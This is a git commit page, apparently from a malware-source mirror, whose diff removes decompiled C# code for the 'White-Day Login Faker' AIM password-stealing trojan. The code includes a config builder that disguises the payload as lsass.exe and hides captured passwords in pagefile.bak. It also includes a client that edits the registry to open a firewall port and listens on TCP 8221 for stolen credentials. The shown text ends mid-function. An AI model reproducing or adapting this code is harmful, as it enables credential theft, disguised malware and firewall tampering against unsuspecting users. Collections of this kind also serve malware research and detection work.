mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-18 17:36:11 +00:00
add del
++
This commit is contained in:
vxunderground
parent
28d6743405
commit
e875d1b867
@ -1,96 +0,0 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: A.A
|
||||
// Assembly: Login Faker CLIENT, Version=1.0.1715.28654, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: FB474240-BBE2-45A7-BC07-D1F9AEC0F654
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-PSW.MSIL.AimFaker.a-b067ae213c153597999e87e04cb11aa63361851f6960def3e897c42cacafa05a.exe
|
||||
|
||||
using System;
|
||||
using System.ComponentModel;
|
||||
using System.Drawing;
|
||||
using System.Resources;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace A
|
||||
{
|
||||
public class A : Form
|
||||
{
|
||||
private PictureBox A;
|
||||
private Button A;
|
||||
private GroupBox A;
|
||||
private Label A;
|
||||
private Container A = (Container) null;
|
||||
|
||||
public A() => this.A();
|
||||
|
||||
protected override void Dispose(bool _param1)
|
||||
{
|
||||
if (_param1 && this.A != null)
|
||||
this.A.Dispose();
|
||||
base.Dispose(_param1);
|
||||
}
|
||||
|
||||
private void A()
|
||||
{
|
||||
ResourceManager resourceManager = new ResourceManager(typeof (A.A));
|
||||
this.A = new PictureBox();
|
||||
this.A = new Button();
|
||||
this.A = new GroupBox();
|
||||
this.A = new Label();
|
||||
this.A.SuspendLayout();
|
||||
this.SuspendLayout();
|
||||
this.A.Image = (Image) resourceManager.GetObject("pictureBox1.Image");
|
||||
this.A.Location = new Point(5, 8);
|
||||
this.A.Name = "pictureBox1";
|
||||
this.A.Size = new Size(280, 128);
|
||||
this.A.TabIndex = 0;
|
||||
this.A.TabStop = false;
|
||||
this.A.Location = new Point(120, 224);
|
||||
this.A.Name = "button1";
|
||||
this.A.Size = new Size(56, 24);
|
||||
this.A.TabIndex = 1;
|
||||
this.A.Text = "Ok";
|
||||
this.A.Click += new EventHandler(this.a);
|
||||
this.A.Controls.AddRange(new Control[1]
|
||||
{
|
||||
(Control) this.A
|
||||
});
|
||||
this.A.Location = new Point(8, 136);
|
||||
this.A.Name = "groupBox1";
|
||||
this.A.Size = new Size(280, 80);
|
||||
this.A.TabIndex = 2;
|
||||
this.A.TabStop = false;
|
||||
this.A.Text = "Informationen";
|
||||
this.A.Location = new Point(8, 16);
|
||||
this.A.Name = "label1";
|
||||
this.A.Size = new Size(264, 56);
|
||||
this.A.TabIndex = 0;
|
||||
this.A.Text = "Dieses Programm wurde programmiert von White-Day! Es ist nicht erlaubt in den Code des Programms einzugreifen und Teile zu ändern, ansonsten viel Spaß!";
|
||||
this.AutoScaleBaseSize = new Size(5, 13);
|
||||
this.ClientSize = new Size(292, 266);
|
||||
this.ControlBox = false;
|
||||
this.Controls.AddRange(new Control[3]
|
||||
{
|
||||
(Control) this.A,
|
||||
(Control) this.A,
|
||||
(Control) this.A
|
||||
});
|
||||
this.FormBorderStyle = FormBorderStyle.FixedToolWindow;
|
||||
this.Icon = (Icon) resourceManager.GetObject("$this.Icon");
|
||||
this.MaximizeBox = false;
|
||||
this.MinimizeBox = false;
|
||||
this.Name = "Form2";
|
||||
this.ShowInTaskbar = false;
|
||||
this.StartPosition = FormStartPosition.CenterScreen;
|
||||
this.Text = "Informationen";
|
||||
this.Load += new EventHandler(this.A);
|
||||
this.A.ResumeLayout(false);
|
||||
this.ResumeLayout(false);
|
||||
}
|
||||
|
||||
private void A(object _param1, EventArgs _param2)
|
||||
{
|
||||
}
|
||||
|
||||
private void a(object _param1, EventArgs _param2) => this.Close();
|
||||
}
|
||||
}
|
||||
@ -1,208 +0,0 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: A.b
|
||||
// Assembly: Login Faker CLIENT, Version=1.0.1715.28654, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: FB474240-BBE2-45A7-BC07-D1F9AEC0F654
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-PSW.MSIL.AimFaker.a-b067ae213c153597999e87e04cb11aa63361851f6960def3e897c42cacafa05a.exe
|
||||
|
||||
using System;
|
||||
using System.ComponentModel;
|
||||
using System.Drawing;
|
||||
using System.IO;
|
||||
using System.Resources;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace A
|
||||
{
|
||||
public class b : Form
|
||||
{
|
||||
private TextBox A;
|
||||
private Label A;
|
||||
private TextBox a;
|
||||
private Label a;
|
||||
private Label B;
|
||||
private TextBox B;
|
||||
private Label b;
|
||||
private TextBox b;
|
||||
private Label C;
|
||||
private TextBox C;
|
||||
private Label c;
|
||||
private TextBox c;
|
||||
private Label D;
|
||||
private TextBox D;
|
||||
private Button A;
|
||||
private Button a;
|
||||
private Container A = (Container) null;
|
||||
|
||||
public b() => this.A();
|
||||
|
||||
protected override void Dispose(bool _param1)
|
||||
{
|
||||
if (_param1 && this.A != null)
|
||||
this.A.Dispose();
|
||||
base.Dispose(_param1);
|
||||
}
|
||||
|
||||
private void A()
|
||||
{
|
||||
ResourceManager resourceManager = new ResourceManager(typeof (A.b));
|
||||
this.A = new TextBox();
|
||||
this.A = new Label();
|
||||
this.a = new TextBox();
|
||||
this.a = new Label();
|
||||
this.B = new TextBox();
|
||||
this.B = new Label();
|
||||
this.b = new Label();
|
||||
this.b = new TextBox();
|
||||
this.C = new Label();
|
||||
this.C = new TextBox();
|
||||
this.c = new Label();
|
||||
this.c = new TextBox();
|
||||
this.D = new Label();
|
||||
this.D = new TextBox();
|
||||
this.A = new Button();
|
||||
this.a = new Button();
|
||||
this.SuspendLayout();
|
||||
this.A.Location = new Point(128, 16);
|
||||
this.A.Name = "DNSBox";
|
||||
this.A.Size = new Size(232, 20);
|
||||
this.A.TabIndex = 0;
|
||||
this.A.Text = "am.am.de";
|
||||
this.A.Location = new Point(8, 16);
|
||||
this.A.Name = "label1";
|
||||
this.A.Size = new Size(80, 16);
|
||||
this.A.TabIndex = 1;
|
||||
this.A.Text = "DNS / DynIP:";
|
||||
this.a.Location = new Point(128, 56);
|
||||
this.a.Name = "AusgangsdateinameBox";
|
||||
this.a.Size = new Size(232, 20);
|
||||
this.a.TabIndex = 2;
|
||||
this.a.Text = "White-Day_Login_Faker_AIM.exe";
|
||||
this.a.Location = new Point(8, 56);
|
||||
this.a.Name = "label2";
|
||||
this.a.Size = new Size(112, 24);
|
||||
this.a.TabIndex = 3;
|
||||
this.a.Text = "Ausgangsdateiname:";
|
||||
this.B.Location = new Point(128, 96);
|
||||
this.B.Name = "ZieldateinameBox";
|
||||
this.B.Size = new Size(232, 20);
|
||||
this.B.TabIndex = 4;
|
||||
this.B.Text = "lsass.exe";
|
||||
this.B.Location = new Point(8, 96);
|
||||
this.B.Name = "label3";
|
||||
this.B.Size = new Size(88, 24);
|
||||
this.B.TabIndex = 5;
|
||||
this.B.Text = "Zieldateiname:";
|
||||
this.b.Location = new Point(8, 136);
|
||||
this.b.Name = "label4";
|
||||
this.b.Size = new Size(88, 24);
|
||||
this.b.TabIndex = 7;
|
||||
this.b.Text = "Zielverzeichnis:";
|
||||
this.b.Location = new Point(128, 136);
|
||||
this.b.Name = "ZielverzeichnisBox";
|
||||
this.b.Size = new Size(232, 20);
|
||||
this.b.TabIndex = 6;
|
||||
this.b.Text = "C:\\Programme\\Internet Explorer\\lsass_aim";
|
||||
this.C.Location = new Point(8, 176);
|
||||
this.C.Name = "label5";
|
||||
this.C.Size = new Size(112, 24);
|
||||
this.C.TabIndex = 9;
|
||||
this.C.Text = "Passwortdateiname:";
|
||||
this.C.Location = new Point(128, 176);
|
||||
this.C.Name = "PasswortdateinameBox";
|
||||
this.C.Size = new Size(232, 20);
|
||||
this.C.TabIndex = 8;
|
||||
this.C.Text = "pagefile.bak";
|
||||
this.c.Location = new Point(8, 216);
|
||||
this.c.Name = "label6";
|
||||
this.c.Size = new Size(112, 24);
|
||||
this.c.TabIndex = 11;
|
||||
this.c.Text = "Suchtempdatei:";
|
||||
this.c.Location = new Point(128, 216);
|
||||
this.c.Name = "SuchtempdateiBox";
|
||||
this.c.Size = new Size(232, 20);
|
||||
this.c.TabIndex = 10;
|
||||
this.c.Text = "lsass.txt";
|
||||
this.D.Location = new Point(8, 256);
|
||||
this.D.Name = "label7";
|
||||
this.D.Size = new Size(112, 24);
|
||||
this.D.TabIndex = 13;
|
||||
this.D.Text = "Port:";
|
||||
this.D.Location = new Point(128, 256);
|
||||
this.D.Name = "PortBox";
|
||||
this.D.Size = new Size(232, 20);
|
||||
this.D.TabIndex = 12;
|
||||
this.D.Text = "8221";
|
||||
this.A.Location = new Point(200, 304);
|
||||
this.A.Name = "Erstellen";
|
||||
this.A.Size = new Size(96, 24);
|
||||
this.A.TabIndex = 14;
|
||||
this.A.Text = "Erstellen";
|
||||
this.A.Click += new EventHandler(this.B);
|
||||
this.a.Location = new Point(88, 304);
|
||||
this.a.Name = "Abbrechen";
|
||||
this.a.Size = new Size(96, 24);
|
||||
this.a.TabIndex = 15;
|
||||
this.a.Text = "Abbrechen";
|
||||
this.a.Click += new EventHandler(this.a);
|
||||
this.AutoScaleBaseSize = new Size(5, 13);
|
||||
this.ClientSize = new Size(378, 344);
|
||||
this.ControlBox = false;
|
||||
this.Controls.AddRange(new Control[16]
|
||||
{
|
||||
(Control) this.a,
|
||||
(Control) this.A,
|
||||
(Control) this.D,
|
||||
(Control) this.D,
|
||||
(Control) this.c,
|
||||
(Control) this.c,
|
||||
(Control) this.C,
|
||||
(Control) this.C,
|
||||
(Control) this.b,
|
||||
(Control) this.b,
|
||||
(Control) this.B,
|
||||
(Control) this.B,
|
||||
(Control) this.a,
|
||||
(Control) this.a,
|
||||
(Control) this.A,
|
||||
(Control) this.A
|
||||
});
|
||||
this.FormBorderStyle = FormBorderStyle.FixedToolWindow;
|
||||
this.Icon = (Icon) resourceManager.GetObject("$this.Icon");
|
||||
this.MaximizeBox = false;
|
||||
this.MinimizeBox = false;
|
||||
this.Name = "Form5";
|
||||
this.ShowInTaskbar = false;
|
||||
this.Text = "Config erstellen";
|
||||
this.Load += new EventHandler(this.A);
|
||||
this.ResumeLayout(false);
|
||||
}
|
||||
|
||||
private void A(object _param1, EventArgs _param2)
|
||||
{
|
||||
}
|
||||
|
||||
private void a(object _param1, EventArgs _param2) => this.Close();
|
||||
|
||||
private void B(object _param1, EventArgs _param2)
|
||||
{
|
||||
for (int index = 1; index < 999; ++index)
|
||||
{
|
||||
if (!File.Exists("config" + (object) index + ".ini"))
|
||||
{
|
||||
StreamWriter streamWriter = new StreamWriter((Stream) new FileStream("config" + (object) index + ".ini", FileMode.Append, FileAccess.Write));
|
||||
streamWriter.WriteLine(this.A.Text);
|
||||
streamWriter.WriteLine(this.a.Text);
|
||||
streamWriter.WriteLine(this.B.Text);
|
||||
streamWriter.WriteLine(this.b.Text);
|
||||
streamWriter.WriteLine(this.b.Text + "\\" + this.B.Text);
|
||||
streamWriter.WriteLine(this.b.Text + "\\" + this.C.Text);
|
||||
streamWriter.WriteLine(this.b.Text + "\\" + this.c.Text);
|
||||
streamWriter.WriteLine(this.D.Text);
|
||||
streamWriter.Close();
|
||||
break;
|
||||
}
|
||||
}
|
||||
this.Close();
|
||||
}
|
||||
}
|
||||
}
|
||||
@ -1,73 +0,0 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: A.a
|
||||
// Assembly: Login Faker CLIENT, Version=1.0.1715.28654, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: FB474240-BBE2-45A7-BC07-D1F9AEC0F654
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-PSW.MSIL.AimFaker.a-b067ae213c153597999e87e04cb11aa63361851f6960def3e897c42cacafa05a.exe
|
||||
|
||||
using System;
|
||||
using System.ComponentModel;
|
||||
using System.Drawing;
|
||||
using System.Resources;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace A
|
||||
{
|
||||
public class a : Form
|
||||
{
|
||||
private Label A;
|
||||
private Button A;
|
||||
private Container A = (Container) null;
|
||||
|
||||
public a() => this.A();
|
||||
|
||||
protected override void Dispose(bool _param1)
|
||||
{
|
||||
if (_param1 && this.A != null)
|
||||
this.A.Dispose();
|
||||
base.Dispose(_param1);
|
||||
}
|
||||
|
||||
private void A()
|
||||
{
|
||||
ResourceManager resourceManager = new ResourceManager(typeof (A.a));
|
||||
this.A = new Label();
|
||||
this.A = new Button();
|
||||
this.SuspendLayout();
|
||||
this.A.Location = new Point(8, 8);
|
||||
this.A.Name = "label1";
|
||||
this.A.Size = new Size(280, 80);
|
||||
this.A.TabIndex = 0;
|
||||
this.A.Text = "Achtung: Der Client überwacht verschiedene Fake Logins! Man kann beliebig viele Logins hinzufügen. Vor dem Passwort und dem Usernamen steht von welchem Login Faker die Daten gesendet wurden. Port von 0001 bis 9999!";
|
||||
this.A.Location = new Point(112, 96);
|
||||
this.A.Name = "button1";
|
||||
this.A.Size = new Size(56, 24);
|
||||
this.A.TabIndex = 6;
|
||||
this.A.Text = "Ok";
|
||||
this.A.Click += new EventHandler(this.a);
|
||||
this.AutoScaleBaseSize = new Size(5, 13);
|
||||
this.ClientSize = new Size(292, 128);
|
||||
this.ControlBox = false;
|
||||
this.Controls.AddRange(new Control[2]
|
||||
{
|
||||
(Control) this.A,
|
||||
(Control) this.A
|
||||
});
|
||||
this.FormBorderStyle = FormBorderStyle.FixedToolWindow;
|
||||
this.Icon = (Icon) resourceManager.GetObject("$this.Icon");
|
||||
this.MaximizeBox = false;
|
||||
this.MinimizeBox = false;
|
||||
this.Name = "Form3";
|
||||
this.ShowInTaskbar = false;
|
||||
this.StartPosition = FormStartPosition.CenterScreen;
|
||||
this.Text = "Hinweise";
|
||||
this.Load += new EventHandler(this.A);
|
||||
this.ResumeLayout(false);
|
||||
}
|
||||
|
||||
private void A(object _param1, EventArgs _param2)
|
||||
{
|
||||
}
|
||||
|
||||
private void a(object _param1, EventArgs _param2) => this.Close();
|
||||
}
|
||||
}
|
||||
@ -1,12 +0,0 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: a.A
|
||||
// Assembly: Login Faker CLIENT, Version=1.0.1715.28654, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: FB474240-BBE2-45A7-BC07-D1F9AEC0F654
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-PSW.MSIL.AimFaker.a-b067ae213c153597999e87e04cb11aa63361851f6960def3e897c42cacafa05a.exe
|
||||
|
||||
namespace a
|
||||
{
|
||||
internal class A
|
||||
{
|
||||
}
|
||||
}
|
||||
@ -1,13 +0,0 @@
|
||||
using System.Reflection;
|
||||
|
||||
[assembly: AssemblyCopyright("")]
|
||||
[assembly: AssemblyKeyName("")]
|
||||
[assembly: AssemblyKeyFile("")]
|
||||
[assembly: AssemblyDelaySign(false)]
|
||||
[assembly: AssemblyTrademark("")]
|
||||
[assembly: AssemblyConfiguration("")]
|
||||
[assembly: AssemblyCompany("")]
|
||||
[assembly: AssemblyProduct("")]
|
||||
[assembly: AssemblyDescription("")]
|
||||
[assembly: AssemblyTitle("")]
|
||||
[assembly: AssemblyVersion("1.0.1715.28654")]
|
||||
File diff suppressed because one or more lines are too long
@ -1,123 +0,0 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<root>
|
||||
<!--
|
||||
Microsoft ResX Schema
|
||||
|
||||
Version 2.0
|
||||
|
||||
The primary goals of this format is to allow a simple XML format
|
||||
that is mostly human readable. The generation and parsing of the
|
||||
various data types are done through the TypeConverter classes
|
||||
associated with the data types.
|
||||
|
||||
Example:
|
||||
|
||||
... ado.net/XML headers & schema ...
|
||||
<resheader name="resmimetype">text/microsoft-resx</resheader>
|
||||
<resheader name="version">2.0</resheader>
|
||||
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
|
||||
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
|
||||
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
|
||||
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
|
||||
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
|
||||
<value>[base64 mime encoded serialized .NET Framework object]</value>
|
||||
</data>
|
||||
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
|
||||
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
|
||||
<comment>This is a comment</comment>
|
||||
</data>
|
||||
|
||||
There are any number of "resheader" rows that contain simple
|
||||
name/value pairs.
|
||||
|
||||
Each data row contains a name, and value. The row also contains a
|
||||
type or mimetype. Type corresponds to a .NET class that support
|
||||
text/value conversion through the TypeConverter architecture.
|
||||
Classes that don't support this are serialized and stored with the
|
||||
mimetype set.
|
||||
|
||||
The mimetype is used for serialized objects, and tells the
|
||||
ResXResourceReader how to depersist the object. This is currently not
|
||||
extensible. For a given mimetype the value must be set accordingly:
|
||||
|
||||
Note - application/x-microsoft.net.object.binary.base64 is the format
|
||||
that the ResXResourceWriter will generate, however the reader can
|
||||
read any of the formats listed below.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.binary.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.soap.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.bytearray.base64
|
||||
value : The object must be serialized into a byte array
|
||||
: using a System.ComponentModel.TypeConverter
|
||||
: and then encoded with base64 encoding.
|
||||
-->
|
||||
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
|
||||
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
|
||||
<xsd:element name="root" msdata:IsDataSet="true">
|
||||
<xsd:complexType>
|
||||
<xsd:choice maxOccurs="unbounded">
|
||||
<xsd:element name="metadata">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" use="required" type="xsd:string" />
|
||||
<xsd:attribute name="type" type="xsd:string" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="assembly">
|
||||
<xsd:complexType>
|
||||
<xsd:attribute name="alias" type="xsd:string" />
|
||||
<xsd:attribute name="name" type="xsd:string" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="data">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
|
||||
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="resheader">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:choice>
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:schema>
|
||||
<resheader name="resmimetype">
|
||||
<value>text/microsoft-resx</value>
|
||||
</resheader>
|
||||
<resheader name="version">
|
||||
<value>2.0</value>
|
||||
</resheader>
|
||||
<resheader name="reader">
|
||||
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
<resheader name="writer">
|
||||
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
<data name="$this.Name" mimetype="application/x-microsoft.net.object.binary.base64">
|
||||
<value>BUZvcm00</value>
|
||||
</data>
|
||||
</root>
|
||||
@ -1,344 +0,0 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: A.C
|
||||
// Assembly: Login Faker CLIENT, Version=1.0.1715.28654, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: FB474240-BBE2-45A7-BC07-D1F9AEC0F654
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-PSW.MSIL.AimFaker.a-b067ae213c153597999e87e04cb11aa63361851f6960def3e897c42cacafa05a.exe
|
||||
|
||||
using Microsoft.Win32;
|
||||
using System;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
using System.Drawing;
|
||||
using System.IO;
|
||||
using System.Net;
|
||||
using System.Net.Sockets;
|
||||
using System.Resources;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Text;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace A
|
||||
{
|
||||
public class C : Form
|
||||
{
|
||||
public const int A = 161;
|
||||
public const int a = 2;
|
||||
public AsyncCallback A;
|
||||
public Socket A;
|
||||
public Socket a;
|
||||
private GroupBox A;
|
||||
private Button A;
|
||||
private TextBox A;
|
||||
private GroupBox a;
|
||||
private Button a;
|
||||
private NotifyIcon A;
|
||||
private TextBox a;
|
||||
private Label A;
|
||||
private NotifyIcon a;
|
||||
private Button B;
|
||||
private Button b;
|
||||
private Label a;
|
||||
private IContainer A;
|
||||
|
||||
public C()
|
||||
{
|
||||
this.A();
|
||||
this.MouseDown += new MouseEventHandler(this.A);
|
||||
}
|
||||
|
||||
protected override void Dispose(bool _param1)
|
||||
{
|
||||
if (_param1 && this.A != null)
|
||||
this.A.Dispose();
|
||||
base.Dispose(_param1);
|
||||
}
|
||||
|
||||
private void A()
|
||||
{
|
||||
this.A = (IContainer) new Container();
|
||||
ResourceManager resourceManager = new ResourceManager(typeof (A.C));
|
||||
this.A = new GroupBox();
|
||||
this.A = new Label();
|
||||
this.a = new TextBox();
|
||||
this.a = new Button();
|
||||
this.A = new Button();
|
||||
this.A = new TextBox();
|
||||
this.a = new GroupBox();
|
||||
this.A = new NotifyIcon(this.A);
|
||||
this.a = new NotifyIcon(this.A);
|
||||
this.B = new Button();
|
||||
this.b = new Button();
|
||||
this.a = new Label();
|
||||
this.A.SuspendLayout();
|
||||
this.SuspendLayout();
|
||||
this.A.BackColor = System.Drawing.Color.Transparent;
|
||||
this.A.Controls.AddRange(new Control[4]
|
||||
{
|
||||
(Control) this.A,
|
||||
(Control) this.a,
|
||||
(Control) this.a,
|
||||
(Control) this.A
|
||||
});
|
||||
this.A.Location = new Point(8, 56);
|
||||
this.A.Name = "groupBox1";
|
||||
this.A.Size = new Size(312, 56);
|
||||
this.A.TabIndex = 0;
|
||||
this.A.TabStop = false;
|
||||
this.A.Text = "Kontrolle";
|
||||
this.A.Location = new Point(8, 22);
|
||||
this.A.Name = "label2";
|
||||
this.A.Size = new Size(32, 16);
|
||||
this.A.TabIndex = 5;
|
||||
this.A.Text = "Port:";
|
||||
this.a.Location = new Point(40, 18);
|
||||
this.a.Name = "textBox1";
|
||||
this.a.Size = new Size(32, 20);
|
||||
this.a.TabIndex = 4;
|
||||
this.a.Text = "8221";
|
||||
this.a.FlatStyle = FlatStyle.Flat;
|
||||
this.a.Location = new Point(152, 16);
|
||||
this.a.Name = "button1";
|
||||
this.a.Size = new Size(152, 24);
|
||||
this.a.TabIndex = 3;
|
||||
this.a.Text = "Speichern + Beenden";
|
||||
this.a.Click += new EventHandler(this.E);
|
||||
this.A.FlatStyle = FlatStyle.Flat;
|
||||
this.A.Location = new Point(80, 16);
|
||||
this.A.Name = "cmdListen";
|
||||
this.A.Size = new Size(64, 24);
|
||||
this.A.TabIndex = 2;
|
||||
this.A.Text = "Abhören";
|
||||
this.A.Click += new EventHandler(this.A);
|
||||
this.A.Location = new Point(16, 136);
|
||||
this.A.Multiline = true;
|
||||
this.A.Name = "txtDataRx";
|
||||
this.A.ReadOnly = true;
|
||||
this.A.ScrollBars = ScrollBars.Vertical;
|
||||
this.A.Size = new Size(296, 128);
|
||||
this.A.TabIndex = 1;
|
||||
this.A.Text = "";
|
||||
this.a.BackColor = System.Drawing.Color.Transparent;
|
||||
this.a.Location = new Point(8, 120);
|
||||
this.a.Name = "groupBox3";
|
||||
this.a.Size = new Size(312, 152);
|
||||
this.a.TabIndex = 3;
|
||||
this.a.TabStop = false;
|
||||
this.a.Text = "Empfangene Daten";
|
||||
this.A.Icon = (Icon) resourceManager.GetObject("notifyIcon1.Icon");
|
||||
this.A.Text = "White-Day Login Faker Client v.1.0";
|
||||
this.A.Visible = true;
|
||||
this.A.DoubleClick += new EventHandler(this.F);
|
||||
this.a.Icon = (Icon) resourceManager.GetObject("notifyIcon2.Icon");
|
||||
this.a.Text = "White-Day Login Faker Client v.1.0 - Connected";
|
||||
this.a.DoubleClick += new EventHandler(this.f);
|
||||
this.B.BackColor = System.Drawing.Color.Transparent;
|
||||
this.B.FlatStyle = FlatStyle.Flat;
|
||||
this.B.Location = new Point(8, 8);
|
||||
this.B.Name = "button2";
|
||||
this.B.Size = new Size(16, 16);
|
||||
this.B.TabIndex = 4;
|
||||
this.B.Text = "M";
|
||||
this.B.Click += new EventHandler(this.G);
|
||||
this.b.BackColor = System.Drawing.Color.Transparent;
|
||||
this.b.FlatStyle = FlatStyle.Flat;
|
||||
this.b.Location = new Point(304, 8);
|
||||
this.b.Name = "button3";
|
||||
this.b.Size = new Size(16, 16);
|
||||
this.b.TabIndex = 5;
|
||||
this.b.Text = "x";
|
||||
this.b.Click += new EventHandler(this.g);
|
||||
this.a.BackColor = System.Drawing.Color.Transparent;
|
||||
this.a.Location = new Point(80, 24);
|
||||
this.a.Name = "label1";
|
||||
this.a.Size = new Size(184, 16);
|
||||
this.a.TabIndex = 6;
|
||||
this.a.Text = "White-Day Login Faker v.1.0 Public";
|
||||
this.AutoScaleBaseSize = new Size(5, 13);
|
||||
this.BackgroundImage = (Image) resourceManager.GetObject("$this.BackgroundImage");
|
||||
this.ClientSize = new Size(330, 304);
|
||||
this.Controls.AddRange(new Control[6]
|
||||
{
|
||||
(Control) this.a,
|
||||
(Control) this.b,
|
||||
(Control) this.A,
|
||||
(Control) this.A,
|
||||
(Control) this.a,
|
||||
(Control) this.B
|
||||
});
|
||||
this.FormBorderStyle = FormBorderStyle.None;
|
||||
this.Icon = (Icon) resourceManager.GetObject("$this.Icon");
|
||||
this.Name = "Form1";
|
||||
this.StartPosition = FormStartPosition.CenterScreen;
|
||||
this.Text = "White-DayLogin Faker Client v.1.0";
|
||||
this.Resize += new EventHandler(this.e);
|
||||
this.MouseDown += new MouseEventHandler(this.A);
|
||||
this.Load += new EventHandler(this.a);
|
||||
this.A.ResumeLayout(false);
|
||||
this.ResumeLayout(false);
|
||||
}
|
||||
|
||||
[STAThread]
|
||||
private static void A() => Application.Run((Form) new A.C());
|
||||
|
||||
[DllImport("user32.dll", EntryPoint = "ReleaseCapture")]
|
||||
public static extern bool A();
|
||||
|
||||
[DllImport("user32.dll", EntryPoint = "SendMessage")]
|
||||
public static extern int A(IntPtr _param0, int _param1, int _param2, int _param3);
|
||||
|
||||
private void A(object _param1, EventArgs _param2)
|
||||
{
|
||||
try
|
||||
{
|
||||
Registry.LocalMachine.OpenSubKey("SYSTEM\\ControlSet001\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\StandardProfile\\GloballyOpenPorts\\List", true).SetValue(this.a.Text + ":TCP", (object) (this.a.Text + ":TCP:*:Enabled:ENABLE"));
|
||||
this.A = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
|
||||
int int16 = (int) Convert.ToInt16(this.a.Text, 10);
|
||||
this.A.Bind((EndPoint) new IPEndPoint(IPAddress.Any, int16));
|
||||
this.A.Listen(4);
|
||||
this.A.BeginAccept(new AsyncCallback(this.A), (object) null);
|
||||
this.A.Enabled = false;
|
||||
}
|
||||
catch (SocketException ex)
|
||||
{
|
||||
int num = (int) MessageBox.Show(ex.Message);
|
||||
}
|
||||
}
|
||||
|
||||
public void A(IAsyncResult _param1)
|
||||
{
|
||||
try
|
||||
{
|
||||
this.a = this.A.EndAccept(_param1);
|
||||
this.A(this.a);
|
||||
}
|
||||
catch (ObjectDisposedException ex)
|
||||
{
|
||||
Debugger.Log(0, "1", "\n OnClientConnection: Socket has been closed\n");
|
||||
}
|
||||
catch (SocketException ex)
|
||||
{
|
||||
int num = (int) MessageBox.Show(ex.Message);
|
||||
}
|
||||
}
|
||||
|
||||
public void A(Socket _param1)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (this.A == null)
|
||||
this.A = new AsyncCallback(this.a);
|
||||
A.C.A state = new A.C.A();
|
||||
state.A = _param1;
|
||||
_param1.BeginReceive(state.A, 0, state.A.Length, SocketFlags.None, this.A, (object) state);
|
||||
}
|
||||
catch (SocketException ex)
|
||||
{
|
||||
int num = (int) MessageBox.Show(ex.Message);
|
||||
}
|
